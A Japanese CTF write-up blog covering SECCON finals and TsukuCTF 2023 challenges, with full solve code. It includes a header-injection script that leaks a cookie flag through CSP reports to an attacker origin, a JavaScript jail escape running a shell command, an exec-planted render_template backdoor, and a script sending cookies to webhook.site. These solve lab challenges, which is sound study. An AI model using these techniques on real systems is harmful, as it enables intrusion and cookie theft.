CSPでは style-src の値として、その内容のハッシュ値を指定することができる。もし一致していればそのまま読み込み、一致していなければCSP違反として読み込まれない。このCSP違反の有無が使えるのではないかと考えた。report-uri とあわせて使うことで、レスポンスボディのチェックサム云々で考えた1文字ずつのブルートフォースがここで適用できるのではないか。もしハッシュ値が一致していなければCSP違反のレポートが飛ぶし、一致していれば飛ばない。CSP違反のレポートが飛ばなかった文字が正解だ。

具体的な例を挙げて考えていく。SECCON{dummy} というフラグがCookieに設定されているとする。ヘッダインジェクションによって Content-Length: 74Content-Type: text/html という2つのヘッダを仕込み、最後にCRLFを2連続させて Status ヘッダ等をレスポンスボディに追い込んだ上で <style> で締める。クエリパラメータは /?q=Content-Type%3Atext/html%0D%0AContent-Length:74%0D%0A%0D%0A<style> のようになる。このとき、レスポンスボディは次のようになる。

<style>Status: 200 OK
Content-Type: text/plain; charset=utf-8

SECCON{d

default-src 'none' というCSPに違反しているから、DevToolsのコンソールでは当然次のようにエラーメッセージが表示されている。ここで、たとえば 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U=' というハッシュ値がCSPで明示的に許可されていればOKと言われているのがわかる。

これに基づいて Content-Security-Policy-Report-Only:default-src 'none'; style-src 'sha256-sUk0UQj8k0hBY6zv2BrvpRoV2OT8ywX8KXOsunsVi9U='; report-uri https://example.com というようなヘッダを、またヘッダインジェクションで追加する。DevToolsでは同じエラーが表示されている。

では、style-src で指定したハッシュ値を変えるとどうなるか。適当に1文字を変えてみる。今度は [Report Only] から始まるエラーメッセージも出力されていた。

Networkタブを見ると https://example.com にCSP違反のレポートが送信されていることもわかる。この差異を使おう。

解く

1文字ずつフラグが取得できるようなスクリプトを書く。競技終了の1時間半前に急いで書いたものなので、色々雑で申し訳ない。

import base64
import hashlib
import json
import string
import urllib.parse
from flask import Flask

app = Flask(__name__)

ATTACKER_ORIGIN = 'http://example.com:8000'
#BASE = 'http://localhost:3001'
BASE = 'http://web:3000'
TABLE = '_}' + string.ascii_lowercase
template = b'Status: 200 OK\nContent-Type: text/plain; charset=utf-8\n\n'

def gen(c):
    l = 74 + len(flag) - 7
    s = template + flag.encode() + c.encode()
    h = base64.b64encode(hashlib.sha256(s).digest()).decode()
    url = BASE + '?q=' + urllib.parse.quote(f"Content-Length:{l}\r\nContent-Type:text/html\r\nContent-Security-Policy-Report-Only:default-src 'none'; style-src 'sha256-{h}'; report-uri {ATTACKER_ORIGIN}/report/{c}\r\n\r\n<style>")
    return url

flag = 'SECCON{leak'
@app.get('/neko')
def index():
    res = []
    for c in TABLE:
        res.append(gen(c))
    return '''<script>
const urls = URLS;
let w = window.open();
function sleep(ms) {
  return new Promise((r) => setTimeout(r, ms));
  }

(async () => {
    for (const url of urls) {
        w.location = url;
        await sleep(500);
    }
})()
    </script>'''.replace('URLS', json.dumps(res))

done = {k: False for k in TABLE}
@app.post('/report/<c>')
def report(c):
    done[c] = True
    print([k for k, v in done.items() if not v])
    return 'ok'

app.run(host='0.0.0.0', port=8000)

http://example.com/neko のようなURLを報告すると、たとえば次のようにフラグのn文字目について1文字ずつ候補が削除されていき、最終的に確定する。flag に新しくわかったフラグの1文字を加え、サーバを再起動する。また報告する。これを繰り返していくとフラグが得られた。

…
153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/t HTTP/1.1" 200 -
['r', 'v', 'w', 'x', 'y', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/u HTTP/1.1" 200 -
['r', 'w', 'x', 'y', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:06] "POST /report/v HTTP/1.1" 200 -
['r', 'x', 'y', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:07] "POST /report/w HTTP/1.1" 200 -
['r', 'x', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:08] "POST /report/y HTTP/1.1" 200 -
['r', 'z']
153.120.168.136 - - [24/Dec/2023 06:34:08] "POST /report/x HTTP/1.1" 200 -
['r']
…
SECCON{leaky_sri}

[Misc 388] whitespace.js (2 solves)

Don't worry, this is not an esolang challenge.

(問題サーバのURL)

添付ファイル: whitespace-js.tar.gz

author: Ark

問題の概要

与えられたURLにアクセスすると、次のようになにか計算してくれそうなフォームが表示された。7*7 を入力して計算ボタンを押すと 49 が返ってくる。しかしながら、123 と入力すると Error と怒られてしまった。何が起こっているのだろうか。

ソースコードのうち、問題文中のURLでアクセスできるWebサーバに対応する index.js は次の通り。非常にシンプルで、POSTで投げられてきた expr、つまり先程のフォームで入力した文字列を whitespace.js に投げているだけだ。

const fs = require("node:fs").promises;
const execFile = require("node:util").promisify(
  require("node:child_process").execFile
);

const app = require("fastify")();
const PORT = 3000;

app.get("/", async (req, res) => {
  const html = await fs.readFile("index.html");
  res.type("html").send(html);
});

app.post("/", async (req, res) => {
  const { expr } = req.body;

  const proc = await execFile("node", ["whitespace.js", expr], {
    timeout: 2000,
  }).catch((e) => e);

  res.send(proc.killed ? "Timeout" : proc.stdout);
});

app.listen({ port: PORT, host: "0.0.0.0" }).catch((err) => {
  app.log.error(err);
  process.exit(1);
});

whitespace.js を確認する。送信した文字列を eval してくれており、やったー! と言いたいところだけれども現実は厳しい。まず [...process.argv[2].trim()].join(WHITESPACE) という処理があるけれども、これはたとえば 123 という文字列が渡ってきたときに、スプレッド演算子によって ['1', '2', '3'] という配列へ変換し、そしてスペースで結合し '1 2 3' という文字列にしている。また、関数の呼び出しを防ぐために () が含まれていないかを確認している。もし含まれていれば、その場でプロセスが終了し、以降の eval へは進まない。

const WHITESPACE = " ";

const code = [...process.argv[2].trim()].join(WHITESPACE);
if (code.includes("(") || code.includes(")")) {
  console.log("Do not call functions :(");
  process.exit();
}

try {
  console.log(eval(code));
} catch {
  console.log("Error");
}

Dockerfilemv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt というコマンドが実行されており、フラグが含まれるファイルのパスを特定する必要があるが、JSコードでルートディレクトリのファイルの一覧を取得し、そのうち flag から始まるものを探し… というのは面倒なので、child_process モジュールを使って cat /f* のようなOSコマンドを実行できると嬉しい。これをこの問題における目標とする。

whitespace.js では入力された文字列について1文字ごとにスペースを入れられてから eval されているわけだけれども、ここからOSコマンドの実行に持ち込むのは難しい。たとえば、モジュールを読み込むために require へアクセスしようにも、require を入力すると r e q u i r e に変換されてしまう。当然JSのコードとしては正しくない。どうすればよいだろうか。

基本的なテクニック

CTFではなんらかの制約のもとでJSコードが実行できる、あるいはそれに近しいことができる問題がたまに出題される。今年出題されたものでは、次のような問題がある。

いずれにしても、JSFxxkという [, ], (, ), !, + の6種類の文字だけで任意のJSコードを実行できるようにするツールの考え方を基本としている。JSFxxkがどうやってそのようなことを実現しているかについては「JSFxxk 仕組み」のようなクエリでヒットする色々なブログ記事を参照されたい。基本的には、''.constructorString を取り出し、もうひとつ .constructor を繋げて ''.constructor.constructorFunction を取り出すといったようなプロパティへのアクセスと、それからプロパティ名を作るために限られた文字種で好きな文字・文字列を作成するという2点がまず重要となる。

プロパティのアクセスの方法については、[] も使えるので問題はない。任意の文字列の作成については、今回は文字種が限られているわけではない(() は使えないが、それ以外は使えるということで厳しくはない)が、'hoge' のような文字列リテラル中にも当然スペースが入り込んでくるのが邪魔であるため、やはりどう実現するか考える必要がある。

変換後の文字列がどうなるかを考えると簡単で、たとえば 'a'' a ' に変換されるわけだから、その2文字目を取り出すことで 'a' という文字列が作れる。つまり 'a'[1] のようなコードを送信すればよい。このようにして1文字ずつ作っていき、'a'[1]+'b'[1]+'c'[1] のようにして結合すればよい。これで1文字ごとにスペースが入っても 'abc' という文字列を作れるし、ほかの文字列についても同様だ。

どんなプロパティにアクセスしたいか。最優先は eval 相当のことができる Function だ。これは先ほど紹介したように ''.constructor.constructor 相当のことをすればよい。次のようなコードを送信することで、動作するのは当然ながらスペースが挿入された後に限られるが、Function にアクセスすることができる。いちいち文字列を生成したりプロパティを辿っていったりしていると読みづらくて仕方がないので、1文字変数によく使う文字列や関数などを入れておく。

c='c'[1]+'o'[1]+'n'[1]+'s'[1]+'t'[1]+'r'[1]+'u'[1]+'c'[1]+'t'[1]+'o'[1]+'r'[1] // 'constructor'
s=''[c] // String
f=''[c][c] // Function

ここから Function('console.log(123)')() 相当のことができないかと思ったところで、() なしにどうやって関数を呼び出すかという問題があることを思い出す。JSにはタグ付きのテンプレート文字列とよばれる機能があり、たとえば console.log`123` のようにして console.log(123) 相当のことができ…ない。ここでタグとした関数は呼び出されるものの、引数は ['123'] のように配列が渡っていることがわかる。

もっとも、次の実行結果を見るとわかるように、Function であれば配列が渡されても構わない。ここで渡ってきた配列は Function 側で勝手に文字列化されるためだ。

Function`console.log(123)` // function () { console.log(123) } とほぼ等価

なお、テンプレート文字列では `a${123}b` のようにして式の展開もできる。タグ付きのテンプレート文字列と併用した場合には、次のように第2引数以降に埋め込まれた式を評価した結果が入っていることがわかる。これを使うことである程度自由な引数で関数を呼び出すことができる。もちろん、${ の間にスペースが入ってしまうので、この問題ではそのままでは使えないのだけれども。

function f(...args) {
    console.log(JSON.stringify(args));
}

f`a${7*7}b${123}b`; // [["a","b","c"],49,123]

任意の文字列の作成、プロパティアクセス、バックティックによる関数の呼び出し。この3つを基本として何がやれるかを考えたい。

試行していたこと

色々考えて試しつつも失敗していたことを書いておく。答えだけ見たい方は次の見出しまでスキップのこと。

いくつか過去問を紹介したが、TSG CTF 2023のFunctionlessがもっともこの問題に近いと考えていた。Functionlessは (, ), それからバックティックまで使えないという問題で、同じくOSコマンドの実行に持ち込むことが目的だった。関数呼び出しに関してはこの問題より厳しい。ポイントは、禁止されている3つの文字を使わずに関数を呼び出すかというところで、ただ呼び出すだけなら toString を使えば簡単だが、引数のコントロールができないことが問題となる。Symbol.hasInstance というシンボルを使えば、'Hello' instanceof { [Symbol.hasInstance]: console.log } で引数をコントロールできるが、今度はその返り値が Boolean に変換されてしまうという新たな問題が出てくる。

返り値に関する問題があるとはいえ、引数がタグ付きテンプレート文字列よりは自由であること(['h','o','g','e'] のような使いづらい配列が渡されるわけではない!)、 Symbol.hasInstance は魅力的に見える。ただ、Object.getOwnPropertySymbols`a` のように文字列にシンボルが生えていないか調べて Symbol にアクセスしようとしたものの、当然存在しないし、そもそもスペースが入るのにどうやって instanceof を作るんだという問題があった。

この問題の作問者であるArkさんは、Functionlessの解法として Error.prepareStackTraceError.stackTraceLimit というV8の機能を使って解いていた。その解法について詳しくはここでは述べないが、Error もしくはそのサブクラスのインスタンスを作成し、name プロパティへ実行したいJSコードを仕込めるということが要件となる。SyntaxError でも ReferenceError でもなんでもよいので、何らかの関数やプロパティから Error が手に入れられないかと考えた。これはたとえばTypeScriptのリポジトリにある es5.d.ts 等で Error を返しうる関数や Error が入りうるプロパティを探すと楽かと思ったが、見つけられなかった。JSFxxkが SymbolError を生成していないか探したが、なかった。

Functionless の作問者によるwriteupや、ほかのwriteupも参照する。Array.prototype.toString=Object.prototype.toString のようにprototypeを汚してしまうアイデアは使えそうではあるものの、やはり ErrorSymbol を参照しているのでそのまま解法全体を使えそうにない。

Array.prototype.toString を書き換えるというアイデアに刺激を受ける。たとえば次のように Array.prototype.join を書き換えると、Function をタグ付きテンプレート文字列のタグとした場合に第1引数として配列が渡り、文字列化の際に Array.prototype.join が呼ばれることを利用して、関数の本体を好きなものに変えられることに気づいた。しかしながら、どうやって指定した文字列を返す関数を作れるかが思いつかなかった*10

かなり詰まっていた。

何を言っているんだ

Function.prototype.callerを参照する

1日目の終了後に家へ帰ってからずっとこの問題について考えていたけれども、急に天啓が降りてきた。JSでは Function.prototype.caller という(非推奨ではあるが)便利なプロパティが存在している。何ができるかというと、たとえば function f(){ return f.caller } のように関数中で参照することで、その関数を呼び出した関数を参照することができる。

今の例では名前のある関数を使ったけれども、この問題では Function 経由でしか関数を作れないから、無名関数でなんとかする必要がある。これについては、f = Function('return f.caller') のようにしても機能することが使える。

Function はタグ付きテンプレート文字列で呼び出すということで、スペースが挿入されても問題なく動く関数の本体をどうやって作るか。これは事前に c='caller' のように caller という文字列が入った1文字変数を作っておくことで、fFunction が入っているとして、g=f`g[c]` のようにして、スペースが入ったとしても問題なく g.caller にアクセスできる関数が作れた。

最後に、どうやって return なしに返り値を得るか。わざわざ返り値から g.caller を得る必要はない。a=g[c] のように、関数中でグローバル変数に入れておけば、後から参照できる。

これらを組み合わせて、g=Function`a=g.caller`; g`x` 相当のコードを実行する。Node.jsはCommonJSでは (function (exports, require, module, __filename, __dirname) { /* ここにJSファイルの中身が入る */ }); のような関数にJSファイルのコードを展開して実行するわけだけれども、次のように whitespace.js のその関数を参照することができた。arguments から実引数にアクセスすることで requiremodule といった非常に便利な関数やオブジェクトを手に入れることができた。

歓喜のあまりお嬢様になった

ただし、require で任意のモジュールを読み込もうにも、関数の引数が自由にコントロールできていないという根本的な問題が残っているし、事前に何もモジュールが読み込まれていないので、別のロード済みのモジュールから芋づる式に面白いものを引っ張ってくるということもできない。require.extensions['.js'] に入っている関数が、引数の型をおそらくチェックしておらず面白いと思ったものの、やはり引数のコントロールができていないという壁がある。

String.prototype.trimを置き換える

悩んでいると、急に天啓が降りてきた。引数として渡ってきた requiremodule を参照するだけでなく、caller で手に入れられたその関数自身を使えないか。つまり、ret2vulnのようにもう一度コードが eval される処理を呼び出すことができるわけだから、それを利用できないか。

それから、whitespace.js では最初に何故か const code = [...process.argv[2].trim()].join(WHITESPACE);String.prototype.trim によって与えられたコードの先頭と末尾の空白を取り除いていた。もし trim が文字列でなく ['hoge'] のような配列を返すと、[...process.argv[2].trim()]['hoge'] のような配列となり、それを join するということで、code はスペースのない元のコードが入るのではないかと考えた。

trim をどの関数で置き換えると配列が返るようになるか。[this] を返すような関数があると嬉しい。配列周りの処理になにかあるだろうと Array.prototype を眺めたところ、Array.prototype.concat がそれだった。次のように String.prototype.trimArray.prototype.concat を仕込んでやると、たしかに望んでいたように動くことが確認できた。

String.prototype.trim = Array.prototype.concat;
[...'abc'.trim()].join(' ') // 'abc'

whitespace.js を最初に code を出力するよう改造して、これに相当するコードを作成する。

s=''[c='c'[1]+'o'[1]+'n'[1]+'s'[1]+'t'[1]+'r'[1]+'u'[1]+'c'[1]+'t'[1]+'o'[1]+'r'[1]];
f=''[c][c];
a='c'[1]+'a'[1]+'l'[1]+'l'[1]+'e'[1]+'r'[1];
b='a'[1]+'r'[1]+'g'[1]+'u'[1]+'m'[1]+'e'[1]+'n'[1]+'t'[1]+'s'[1];
''[c]['p'[1]+'r'[1]+'o'[1]+'t'[1]+'o'[1]+'t'[1]+'y'[1]+'p'[1]+'e'[1]]['t'[1]+'r'[1]+'i'[1]+'m'[1]]=[]['c'[1]+'o'[1]+'n'[1]+'c'[1]+'a'[1]+'t'[1]];
g=f`m=g[a]`;
g``;
m``;

実行すると、次のようにスペースの入っていない元のコードが eval される様子を観測できた。

2度目の呼び出し

ほぼ勝ちではないかという雰囲気だが、まだ問題はある。先程のスクリーンショットを見るとエラーが発生していることがわかるが、何が起きているか。これは、文字列の作成時にスペースが入る前提で 'c'[1] のように1文字ずつ作っていたけれども、今度はこれがスペースが入っていないまま実行されるので、当然ながら undefined が返ってきてしまう。これは、'cc'[1] のようにしてやれば解決する。先程のコードは次のようになる。

s=''[c='cc'[1]+'oo'[1]+'nn'[1]+'ss'[1]+'tt'[1]+'rr'[1]+'uu'[1]+'cc'[1]+'tt'[1]+'oo'[1]+'rr'[1]];
f=''[c][c];
a='cc'[1]+'aa'[1]+'ll'[1]+'ll'[1]+'ee'[1]+'rr'[1];
b='aa'[1]+'rr'[1]+'gg'[1]+'uu'[1]+'mm'[1]+'ee'[1]+'nn'[1]+'tt'[1]+'ss'[1];
''[c]['pp'[1]+'rr'[1]+'oo'[1]+'tt'[1]+'oo'[1]+'tt'[1]+'yy'[1]+'pp'[1]+'ee'[1]]['tt'[1]+'rr'[1]+'ii'[1]+'mm'[1]]=[]['cc'[1]+'oo'[1]+'nn'[1]+'cc'[1]+'aa'[1]+'tt'[1]];
g=f`m=g[a]`;
g``;
m``;

ただ、これを実行すると、次のように無限に再帰をしてしまう。同じ処理が実行されるのだから当然だ。

スペースが入っている場合と入っていない場合で違う処理が実行されるようにできないか。1回目かどうかで値が変わるグローバル変数と if を併用できたら嬉しいが、当然ながら i f のようにスペースが入ると使えない。if 相当の機能もなかなか思いつかない。

ふと、// のようにコメントアウトするとどうなるか考えた。1回目の実行では / / のようにスペースが入るが、このときは正規表現リテラルとして解釈される。2回目の実行では当然ながらそれ以降改行までがコメントとして扱われる。これを利用して、上記のコードでは m という変数に whitespace.js 全体の処理を含む関数が入っているわけだけれども、m の実行を //+m` ` という処理に置き換えることを考えた。これで、1回目では m が呼び出されるけれども、2回目ではコメントアウトのため当然呼び出されない。

最終的に、次のようなコードでフラグが得られた。

s=''[c='cc'[1]+'oo'[1]+'nn'[1]+'ss'[1]+'tt'[1]+'rr'[1]+'uu'[1]+'cc'[1]+'tt'[1]+'oo'[1]+'rr'[1]];
f=''[c][c];
a='cc'[1]+'aa'[1]+'ll'[1]+'ll'[1]+'ee'[1]+'rr'[1];
''[c]['pp'[1]+'rr'[1]+'oo'[1]+'tt'[1]+'oo'[1]+'tt'[1]+'yy'[1]+'pp'[1]+'ee'[1]]['tt'[1]+'rr'[1]+'ii'[1]+'mm'[1]]=[]['cc'[1]+'oo'[1]+'nn'[1]+'cc'[1]+'aa'[1]+'tt'[1]];
g=f`m=g[a]`;
g``;
// + m``;
f`a${'console.log\x28process.mainModule.require\x28"child_process"\x29.execSync\x28"cat /flag*"\x29+""\x29'}b` ``
SECCON{P4querett3_Down_the_Bunburr0ws}

Function.prototype.caller を思いついてから1時間ほどでローカルでのフラグの取得までできた。ローカルで解けた後に、喜びのあまりArkさんにDiscordのDMで解けたという報告をしてしまった。翌日の朝一番でフラグの取得と提出を行ったものの、提出の速度で同じく夜の間に解いていたであろうAAAに負けた。国内ではfirst bloodだった。

*1:このチーム名はkeymoonさんが案を出したもの。ヴェリタスでもよいのではないかと提案したところ、優勝できなかったらかなり悲しいのではないか、またヴェリタスであれば4人いてほしいということで、確かに…と納得してCyberMidoriとなった。ところで、この決勝大会へ行っている間にヴェリタスイベントが発表されていたし、ハレ(キャンプ)かわいくてよかった。ハッカーたちのキャンプということで実質セキュリティ・キャンプ

*2:まだ私のところにミドリはいない…

*3:常時1~3位にいた気がする

*4:表彰式では便宜的にチーム顔文字と読まれていた。読めないチーム名にするのはよくないと思いますよ

*5:両日とも18時以降終了だから「日中」ではないか…

*6:世の中にはInternational Cybersecurity Challenge(ICC)のように、1日目はJeopardyで数時間、2日目はAttack & Defenseで数時間というように日ごとに独立したルールを採用し、時間を区切ることで、「徹夜をしたらこの問題が解けるかも」という未練もなく夜中にゆっくりと休みが取れるCTFもある。どちらがよいかと聞かれると、個人的にはどちらとも言いがたい。徹夜上等のCTFであればその長い競技時間に見合った難易度の問題に挑めて楽しい。一方で、徹夜すると生活リズムがぶっ壊れてつらく、そもそも徹夜のインセンティブがまったくなければ、徹夜すべきかすべきでないかを悩まずさっさと眠れるのでそれもまた嬉しい

*7:これでも短く、あと数時間は寝たいところで、眠くはあったけれども

*8:ノートPCをあまり使わず、またモバイルモニタが必要になるような機会もあまりないので、いいものを買うのももったいないなと思いケチってしまった。モニターアームに取り付けて普段から使えばいいじゃんという話だけれども、スペースが足りない

*9:pastebin

*10:実はこれを突き詰めるのが想定解法だったっぽい

TsukuCTF 2023 writeup

12/9 - 12/10という日程で開催された。st7962934781497995546*1*2のオグロプレーリードッグ*3として参加して3位。

Flatt Security Speedrun CTF #2に参加した際に、運営陣のひとりであるSatokiさんから、このCTFのWebでもRTAをして1時間以内に同カテゴリの問題をすべて解けという挑戦状を叩きつけられていたので、まずWebから見ていった。これは57分13秒という記録で達成できたし、Webの全3問でfirst bloodが取れたのでよし。だが、とり天うどんの写真から撮影された店を特定する問題が最後まで残っており、結局解けず。全完できず悔しい。

動物園


Web

[Web 100] basic (274 solves)

保護されていない通信ではパスワードはまる見えダゾ! e.g. パスワードが Passw0rd! の場合、フラグは TsukuCTF23{Passw0rd!} となります。"

Passwords are fully visible in unencrypted connections! e.g. If the password is Passw0rd!, the flag is TsukuCTF23{Passw0rd!}.

添付ファイル: basic.pcapng

添付ファイルのpcapはHTTPによる通信を記録したもの。問題名と問題文からBASIC認証なのだろうと推測する。Info カラムでソートして、ステータスコードとして 200 OK を返しているHTTPレスポンスをまず見る。これに対応するHTTPリクエストに正しいクレデンシャルが含まれているはずだ。あった。

Base64デコードするとフラグが得られる。

TsukuCTF23{2929b0u4}

[Web 496] MEMOwow (21 solves)

素晴らしいメモアプリを作ったよ。 覚える情報量が増えているって???

(問題サーバのURL)

I've made the grateful memo app! Hmm, but it looks the quantity of information which it has to remember is increased...

(問題サーバのURL)

添付ファイル: MEMOwow.zip

ソースコードが含まれている添付ファイルを展開し、まずフラグの場所を確認する。app/memo/flag に存在しているらしい。同じディレクトリに VHN1a3VzaGk= というものもある。

メインの app.py は次の通り。Flask製。おそらくメモアプリで、先程の app/memo というディレクトリに、そのメモの内容をBase64エンコードしたものをファイル名として、ファイルの内容はもちろんそのメモの内容で保存している。

ファイル名がメモのIDとなり、投稿後はこのIDを使ってメモを参照できる。セッションにそれまで投稿したメモの内容が保存される。メモの参照時にはメモのIDをBase64デコードした文字列、つまりメモの内容がセッションデータのリストに含まれているか確認されている。もし含まれていなければ、実際にはファイルが存在していたとしてもメモが見つからなかったということにされる。

import base64
import secrets
import urllib.parse
from flask import Flask, render_template, request, session, redirect, url_for, abort

SECRET_KEY = secrets.token_bytes(32)

app = Flask(__name__)
app.secret_key = SECRET_KEY


@app.route("/", methods=["GET"])
def index():
    if not "memo" in session:
        session["memo"] = [b"Tsukushi"]
    return render_template("index.html")


@app.route("/write", methods=["GET"])
def write_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("write_get.html")


@app.route("/read", methods=["GET"])
def read_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("read_get.html")


@app.route("/write", methods=["POST"])
def write_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    memo = urllib.parse.unquote_to_bytes(request.get_data()[8:256])
    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")
    try:
        session["memo"].append(memo)
        if len(session["memo"]) > 5:
            session["memo"].pop(0)
        session.modified = True
        filename = base64.b64encode(memo).decode()
        with open(f"./memo/{filename}", "wb+") as f:
            f.write(memo)
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("write_post.html", id=filename)


@app.route("/read", methods=["POST"])
def read_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    filename = urllib.parse.unquote_to_bytes(request.get_data()[7:]).replace(b"=", b"")
    filename = filename + b"=" * (-len(filename) % 4)
    if (
        (b"." in filename.lower())
        or (b"flag" in filename.lower())
        or (len(filename) < 8 * 1.33)
    ):
        return abort(403, "不正なメモIDです。👻")
    try:
        filename = base64.b64decode(filename)
        if filename not in session["memo"]:
            return abort(403, "メモが見つかりません。👻")
        filename = base64.b64encode(filename).decode()
        with open(f"./memo/{filename}", "rb") as f:
            memo = f.read()
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("read_post.html", id=filename, memo=memo.decode())


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

flag をIDとしてメモを参照したいとまず考えるが、b"flag" in filename.lower() とIDに flag が含まれていないかチェックされているため、そのままではダメだ。この後でBase64デコードがされるわけだけれども、Pythonbase64.b64decode は次のようにBase64で使われる文字以外のものが含まれていれば、それを無視してデコードしようとする。これを使って、fl)ag のようにすることで、このチェックはバイパスできる。最後の open の段階では、この filenameBase64デコードし、さらにそれをBase64エンコードしたものが使われるわけだから、この段階で ) が含まれていても問題はない。

>>> import base64
>>> base64.b64decode(b'flag')
b'~V\xa0'
>>> base64.b64decode(b'fl)ag')
b'~V\xa0'

その後で flagBase64デコードしたバイト列がセッションに存在するかチェックされる。単純に ~V\xa0 を投稿すれば終わり…ではない。メモを書き込める /write において、次のように8文字未満のメモは投稿できない仕様となっているためだ。

これは、メモの参照時に、結局メモの書き込まれているファイルへは open(f"./memo/{filename}", "rb") のようにして行われるので、//////////////////fl)ag のように / で埋めてやればよい。これをBase64デコードすると \xff\xff\xff… のようなバイト列になる。

    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")

ただ、このままWebブラウザで投稿しようとしても、ChromeUTF-8エンコードした上でPOSTしようとする。サーバ側では都合の良いことに urllib.parse.unquote_to_bytes を使っているので、curl なりなんなりで無理やり content=%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%7EV%A0 のようにして投稿してしまえばよい。これでセッションに ////////////////fl)ag==Base64デコードしたバイト列が登録される。このセッションを使って ////////////////fl)ag== というIDのメモを参照すると、フラグが得られた。

TsukuCTF23{b45364_50m371m35_3xh1b175_my573r10u5_b3h4v10r}

[Web 499] EXECpy (15 solves)

RCEがめんどくさい? データをexecに渡しといたからRCE2XSSしてね!

(問題サーバのURL)

AdminBot: (クローラのURL)

You think doing RCE is a hassle, right? So, this server passes the data to the exec, please do RCE2XSS.

(問題サーバのURL)

AdminBot: (クローラのURL)

添付ファイル: EXECpy.zip

この問題で何をすべきか確認するために、まずクローラのコードを確認する。やっていることは単純で、まずユーザの報告したURLにアクセスしてくれるものの、Server ヘッダに Tsukushi/2.94 が含まれており、かつレスポンスボディに 🤪 が含まれていない場合に限って、フラグの含まれたCookieをセットして再度同じURLにアクセスしてくれる。

async def crawl(url):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        page = await browser.new_page()

        try:
            response = await page.goto(url, timeout=5000)
            header = await response.header_value("Server")
            content = await page.content()

            if ("Tsukushi/2.94" in header) and ("🤪" not in content):
                await page.context.add_cookies(
                    [{"name": "FLAG", "value": FLAG, "domain": DOMAIN, "path": "/"}]
                )
                if url.startswith(f"http://{DOMAIN}/?code=") or url.startswith(
                    f"https://{DOMAIN}/?code="
                ):
                    await page.goto(url, timeout=5000)
        except:
            pass

        await browser.close()

アプリ側のコードは次の通り。超シンプルで、ユーザからクエリパラメータ経由で与えられたコードをただ exec するだけ。これを見て、なるほど、Flaskの挙動をいじって Server ヘッダが Tsukushi/2.94 を返すようにしたり、HTTPレスポンスとして外部にCookieを送信するHTMLを返すようにすればよいのだなと思う。

from flask import Flask, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    code = request.args.get("code")
    if not code:
        return render_template("index.html")

    try:
        exec(code)
    except:
        pass

    return render_template("result.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)

ではそれをどうやって実現するか。render_template を書き換えればよい。次のようにすると、これを実行した際のリクエストに限らず、永続的に nekochan_backdoor というクエリパラメータが存在していればそのパラメータに入っているHTMLを返すようになる。

global render_template
def render_template(*args, **kwargs):
    p = request.args.get('nekochan_backdoor', False)
    if p:
        return f'<div id=c>{__import__("flask").request.cookies}</div>' + p
    return __import__('flask').render_template(*args, **kwargs)

では Server ヘッダの方はどうすればよいかというと、ぱっと思いつかず。適当に検索して app.wsgi_app を書き換えてミドルウェアを仕込む方法が見つかったので、これでやってみた。完全にスクリプトキディだ。できれば render_template 単体でなんとかしたかったが、動くのでヨシ。

class Middleware(object):
    def __init__(self, app):
        self.app = app
        self._header_name = "Server"

    def __call__(self, environ, start_response):
        environ['Server'] = 'Tsukushi/2.94'

        def new_start_response(status, response_headers, exc_info=None):
            response_headers.append(('Server', 'Tsukushi/2.94'))
            return start_response(status, response_headers, exc_info)

        return self.app(environ, new_start_response)

app.wsgi_app = Middleware(app.wsgi_app)

これでクエリパラメータの code には 7*7 を、nekochan_backdoor には <script>(new Image).src=['https://webhook.site/…?',document.getElementById('c').innerText]</script> *4のような文字列を仕込んだURLを報告することでフラグが飛んできた。

TsukuCTF23{175_4_73rr1bl3_4774ck_70_1n73rrup7_h77p}

ほかの参加者に解法がバレるかもしれないので、解いた後は次のコードを何度か実行して片付ける。もっとなんとかすべきミドルウェアの方はそのままになってしまった。

global render_template 
render_template =  __import__('flask').render_template

不穏なことを言っている様子

Misc

[Misc 201] what_os (201 solves)

とある研究所から、昔にシェル操作を行った紙が送られてきた来たんだが、 なんのOSでシェルを操作しているか気になってな。 バージョンの情報などは必要ないから、OSの名前だけを教えてくれないか?

にしても、データとかではなく紙で送られて来たんだ。一体何年前のOSなんだ。。。

送られてきた紙をダウンロードして確認してほしい。

A lab sent me a paper of operation for a shell, and I wondered on which OS it was running. Please let me know only the name of the OS except for other information such as version.

The data is sent by paper, not a program by the way. It means the OS is really old, right? Anyway, please check the attached file and investigate it.

添付ファイル: tty.txt

次のようなテキストファイルが与えられている。uidsUNIXかな~と思って投げてみたら当たった。

login: root
root
# ls -al
total    8
 41 sdrwr-  7 root     70 Jan  1 00:00:00 .
 41 sdrwr-  7 root     70 Jan  1 00:00:00 ..
 43 sdrwr-  2 root    630 Jan  1 00:00:00 bin
 42 sdrwr-  2 root    250 Jan  1 00:00:00 dev
104 sdrwr-  2 root    110 Jan  1 00:00:00 etc
114 sdrwrw  2 root    140 Jan  1 00:00:00 tmp
 41 sdrwr-  9 root    100 Jan  1 00:00:00 usr
# chdir etc
# ls -al
total   34
104 sdrwr-  2 root    110 Jan  1 00:00:00 .
 41 sdrwr-  7 root     70 Jan  1 00:00:00 ..
106 lxrwr-  1 bin    5778 Jan  1 00:00:00 as2
105 sxrwr-  1 bin     446 Jan  1 00:00:00 getty
107 sxrwr-  1 sys    2662 Jan  1 00:00:00 glob
108 sxrwr-  1 sys    1192 Jan  1 00:00:00 init
109 sxrwr-  1 sys     186 Jan  1 00:00:00 msh
110 s-rw--  1 sys     272 Jan  1 00:00:00 passwd
